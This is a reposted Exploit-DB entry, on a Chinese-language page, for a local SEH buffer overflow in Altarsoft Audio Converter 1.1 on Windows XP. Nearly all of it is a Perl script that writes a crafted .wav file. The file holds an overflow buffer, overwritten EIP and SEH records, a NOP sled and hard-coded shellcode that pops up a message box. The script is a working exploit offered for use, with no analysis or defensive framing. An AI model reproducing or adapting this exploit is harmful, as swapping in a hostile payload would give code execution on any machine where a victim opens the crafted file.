Altarsoft Audio Converter 1.1 – Local Buffer Overflow (SEH) - 体验盒子

作者： C4SS!0 G0M3S

日期： 2010-12-16

类别：

local

平台：

windows

来源：https://www.exploit-db.com/exploits/15751/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

#

# Exploit Title: Exploit Buffer Overflow Altarsoft Audio Converter 1.1(SEH)

# Date: 16/12/2010

# Author: C4SS!0 G0M3S

# Software Link: http://www.altarsoft.com/downloads/AltarsoftAudioConverter.exe

# Version: 111

# Tested on: WIN-XP SP3 PT-BR

# CVE: N/A

#

#Created By C4SS!0 G0M3S

#E-MAIL Louredo_@hotmail.com

#Home: http://www.invasao.com.br

#

use IO::File;

if($#ARGV != 0)

{

sub usage

{

system("cls");

system("color 4f");

print "\r\n ||=================================================================||\n";

print " || ||\n";

print " || Exploit Buffer Overflow Altarsoft Audio Converter 1.1(SEH)||\n";

print " || Created BY C4SS!0 G0M3S ||\n";

print " || Contact Louredo_\@hotmail.com||\n";

print " || ||\n";

print " ||=================================================================||\n\n\n";

print("[+]Exploit: Buffer Overflow Altarsoft Audio Converter 1.1(SEH)\n");

print("[+]Date: 16/12/2010\n");

print("[+]Author: C4SS!0 G0M3S\n");

print("[+]E-mail: Louredo_\@hotmail.com\n");

print("[+]Home: http://www.invasao.com.br\n");

print("[+]Version: 2.1\n");

print("[+]Impact: Hich\n");

print("[+]Tested On: WIN-XP SP3 Virtual Box\n\n");

}

usage;

print "[-]Usage: $0 <File Name>\n";

print "[-]Exemple: $0 music.wav\n";

exit(0);

}

$file = $ARGV[0];

$buffer = "\x41" x 4128;

$eip = pack('V',0x004FCA3F);

$nseh = "\xeb\x06\x90\x90";

$seh =pack('V',0x0042f486);

$nops = "\x90" x 15;

#Shellcode MessageBoxA()

my $shellcode =

"\x33\xC0\x33\xC9\x33\xD2\x33\xDB\x50\x68\x6C\x6C\x20\x20\x68\x33\x32\x2E\x64\x68\x75\x73\x65\x72\x54\x58\xBB\x7B\x1D\x80\x7C\x50".

"\xFF\xD3\x90\x33\xD2\x52\xB9\x5E\x67\x30\xEF\x81\xC1\x11\x11\x11\x11\x51\x68\x61\x67\x65\x42\x68\x4D\x65\x73\x73\x54\x5A\x52\x50".

"\xB9\x30\xAE\x80\x7C\xFF\xD1\x33\xC9\x33\xD2\x33\xDB\x51\x68\x53\x20\x20\x20\x68\x47\x30\x4D\x33\x68\x53\x21\x30\x20\x68\x20\x43".

"\x34\x53\x68\x64\x20\x42\x79\x68\x6F\x69\x74\x65\x68\x45\x78\x70\x6C\x54\x59\x53\x68\x21\x30\x20\x20\x68\x43\x34\x53\x53\x54\x5B".

"\x6A\x40\x53\x51\x52\xFF\xD0\x33\xC0\x50\xBE\xFA\xCA\x81\x7C\xFF\xD6";

$payload = $buffer.$eip.$nseh.$seh.$nops.$shellcode;

open(f,">$file")or die "ERROR:\n$!\n";

print f $payload;

close(f);

usage;

print "[*]Identifying the size Shellcode\n";

print "[*]The Shellcode Size:".length($shellcode)."\n";

print "[*]Creating File $file\n";

print "[*]The File $file Created Successfully\n";